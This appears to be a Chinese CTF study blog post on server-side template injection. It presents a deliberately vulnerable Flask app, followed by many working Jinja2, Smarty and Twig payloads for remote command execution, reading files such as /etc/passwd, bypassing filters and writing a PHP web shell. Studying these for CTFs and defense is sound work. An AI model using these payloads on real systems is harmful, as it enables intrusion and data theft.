模板注入总结(SSTI)
文章目录
- 基础知识
- 解题步骤
- 绕过过滤
- 0x01 调用键值(过滤[])
- 0x02 过滤os
- 0x03 过滤点
- 0x04 过滤[''] ('') {}
- CTFSHOW web361-web372
- 一些payload:
- python2:
- python3:
- smarty模板引擎:
- twig模板引擎:
- Jinjia2模板引擎通用的RCE Payload:
- 比赛及刷题payload
- 参考
基础知识
对象的魔术方法:
__bases__ #以元组返回一个类直接所继承的类
__mro__ #以元组返回继承关系链
__init__ #类的初始化方法
__class__ #返回对象所属的类
__globals__ #以dict返回函数所在模块命名空间中的所有变量
__subclasses__() #以列表返回类的子类
_builtin_ #内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。
使用_builtin_输出内置变量,函数
识别不同模板
twig与jinja的区别
Twig
{{7*'7'}} #输出49
Jinja
{{7*'7'}} #输出7777777
模板渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()
是用来渲染一个指定的文件的。例如:return render_template('index.html')
render_template_string()
则是用来渲染一个字符串的。SSTI与这个方法密不可分。
render_template函数渲染的是templates中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户的需求传入动态变量。
├── app.py
├── static
│ └── style.css
└── templates └── index.html
存在漏洞的代码
main.py
from flask import Flask, request, render_template_string
app = Flask(__name__)@app.route('/')
def test():code = request.args.get('id')html = '''<h3>%s</h3>'''%(code)return render_template_string(html)if __name__ =="__main__":app.run()
运行
py -3 main.py
存在ssti
解题步骤
一,获取基类
{{[].__class__}}
页面回显 <type ‘list’>
''.__class__.__mro__[2]
().__class__.__base__
[].__class__.__bases__[0] //其他的类似
页面回显 <type ‘object’>
二,获取所有继承自object的类
''.__class__.__mro__[2].__subclasses__()
这里回显了很长一个列表,这里可以将这些数据放在列表中,通过list.index输出想要的类在第几位。
三,寻找可利用类
Python 的版本不同,可利用类的位置也是不同的。所以每一回都要找可利用类的位置。可以用脚本遍历:
寻找popen:
import requests
import time
import htmlfor i in range(1, 500):url = "http://51d49043-d919-40c5-a17a-ae90387c6a3e.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"]}}"req = requests.get(url)time.sleep(0.1)# 这里是找subprocess.Popenif "subprocess.Popen" in html.escape(req.text):print(i)print(html.unescape(req.text))break
结果:
位置是在258,接下来就可以直接调用了:
寻找os:
#!/usr/bin/env python
# encoding: utf-8num = 0
for item in ''.__class__.__mro__[2].__subclasses__():try:if 'os' in item.__init__.__globals__:print num,itemnum+=1except:print '-'num+=1
结果:
四,利用方法
找到位置之后直接调用执行命令即可
1,<type ‘file’>
file位置一般为40,直接调用
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
2,<class ‘site._Printer’>
直接用os的popen执行命令:
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()
如果system被过滤,用os的listdir读取目录+file模块读取文件:
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')
3,<class ‘subprocess.Popen’>
位置一般为258
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
4,<class ‘warnings.catch_warnings’>
一般位置为59,可以用它来调用file、os、eval、commands等
调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件
import os
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read()
调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls ./").read()')
调用system方法。(不包含system,可以绕过过滤system的情况)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
利用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
绕过过滤
0x01 调用键值(过滤[])
如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__
使用__getitem__
{{''.__class__.__mro__[2]}}
{{''.__class__.__mro__.__getitem__(2)}}
使用pop()
,但是pop会删除里面的键不建议使用
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read()}}
使用get()
返回指定键的值,如果值不在字典中返回default值
使用setdefault()
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}
0x02 过滤os
单引号绕过
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(71).__init__.__globals__.__getitem__('o''s')}}
0x03 过滤点
{{"".__class__}}
{{""['__classs__']}}
0x04 过滤[’’] (’’) {}
构造payload
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
cookie传参
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()
CTFSHOW web361-web372
web361
/?name={{''.__class__.__mro__[1].__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}
web362
web363
web364
web365
web366
web367
web368
web369
web370
web371
web372
CTFshow——SSTI
一些payload:
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
smarty模板引擎:
Smarty SSTI
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。
Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
一,漏洞确认(查看smarty的版本号):
{$smarty.version}
二,常规利用方式:(使用{php}{/php}标签来执行被包裹其中的php指令,smarty3弃用)
{php}{/php}
执行php指令,php7无法使用
<script language="php">phpinfo();</script>
三,静态方法
public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }
payload1:(if标签执行PHP命令)
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}
四,其他payload
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
twig模板引擎:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
Jinjia2模板引擎通用的RCE Payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
在添加命令即可。
比赛及刷题payload
记录一些比赛的paylaod来为以后比赛提供一些思路。
2020新春战疫公益CTF-Flaskapp(python3)
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}
{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat this_is_the_fla\g.txt').read()}}
[BJDCTF 2nd]fake google
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
[WesternCTF2018]shrine(python内置函数,url_for和get_flashed_messages)
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
[GYCTF2020]FlaskApp
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/this_is_the_fl'+'ag.txt').read()}}
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
参考
参考:SSTI/沙盒逃逸详细总结
参考:SSTI模板注入绕过(进阶篇)
模板注入总结(SSTI)相关推荐
- CTF_Web:从0学习Flask模板注入(SSTI)
0x01 前言 最近在刷题的过程中发现服务端模板注入的题目也比较常见,这类注入题目都比较类似,区别就在于不同的框架.不同的过滤规则可能需要的最终payload不一样,本文将以Flask为例学习模板注入 ...
- bugku Simple_SSTI_1and 2(SSTI模板注入)
1.Simple_SSTI_12.Simple_SSTI_2 输入:http://114.67.175.224:15355/?flag={%%20for%20c%20in%20[].class.bas ...
- Web Hacking 101 中文版 十六、模板注入
十六.模板注入 作者:Peter Yaworski 译者:飞龙 协议:CC BY-NC-SA 4.0 模板引擎是允许开发者或设计师在创建动态网页的时候,从数据展示中分离编程逻辑的工具.换句话说,除了拥 ...
- buu(ssti模板注入、ssrf服务器请求伪造)
目录 目录 [CISCN2019 华东南赛区]Web11 [BJDCTF2020]EasySearch [De1CTF 2019]SSRF Me [CSCCTF 2019 Qual]FlaskLigh ...
- 模板注入SSTi笔记
模板注入SSTi jinja2 Smarty模板 tornado模板 jinja2 命令执行 {% for c in [].__class__.__base__.__subclasses__() %} ...
- python模板注入_Python模板注入(SSTI)深入学习
前言 一直对模板注入似懂非懂的,打算在这篇文章中深入的研究一下模板注入以及在ctf中bypass的办法. Learning 什么是模板&模板注入 小学的时候拿别人的好词好句,套在我们自己的作文 ...
- [ctf web]SSTI PHP的模板注入SSTI (smarty+Twig) 以及[BJDCTF2020]Cookie is so stable
PHP的模板注入 如果是在cookie处执行,最好抓包打payload,可能有url编码的问题 smarty模板注入 控制XFF进行命令执行(这是要在前端有IP相关回显的情况) payload: X- ...
- Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti
一.服务端模板注入漏洞 简述: 服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 ...
- SSTI模板注入总结
文章目录 一.初识SSTI 二.判断SSTI类型 三.常用类 1.__class__ 2.__bases__ 3.__subclasses__() 4.类的知识总结(转载) 5.常见过滤器(转载) 四 ...
最新文章
- 破解32位NT6内核系统(vista/win7 8G以上)的内存限制,完美支持4GB至128GB内存,全新教程!
- C#委托-委托不关心被封装的类
- java位于算——一个测试搞懂位运算
- C#使用多态求方形面积周长和圆的面积周长
- 分布式配置中心之 —— nacos使用详解
- Java并发性和多线程介绍
- CentOS 大量的TIME_WAIT解决方法
- 来自Comsenz产品团队的声音
- 用极限可以求瞬时速度的道理
- 利用DataGrid的超级联接传值
- java中Error(UnsatisfiedLinkError)与Exception是有差异的
- android fastboot驱动,fastboot驱动
- React 中实现复制到剪切板功能
- Android network框架分析之NetworkManagementService和netd交互深入分析(一)
- 纳什均衡(Nash equilibrium)及经典案例
- 第一序列任小粟的能力_第一序列:上进青年任小粟得知世界真相后,却加倍强迫六元学习?...
- 有时候内卷也可以走捷径,比如几行代码也可以霸榜朋友圈~
- 带你深入了解机器人视觉系统工作原理及其应用
- 深度学习(一)—— 深度学习概述
- 12天背诵楞严咒的技巧_如何背诵楞严咒?背诵楞严咒的诀窍
热门文章
- 从零开始创业,知名律师献上这套股权激励秘笈丨72问
- android,进入页面textview默认获得焦点问题,如何取消焦点
- 如何下载谷歌地球高程为SHP格式的等高线
- [iOS]《美式英语发音》version 1.0 完成
- linux恢复意外删除的文件
- Android屏幕刷新机制—VSync、Choreographer-全面理解
- Oracle split函数
- 小程序获取token 45009 reach max api daily quota limit hint
- csv逗号分隔值文件_如何将逗号分隔值(CSV)文件拆分为SQL Server列
- 为什么if语句判断相等(==)时,习惯把常量写前面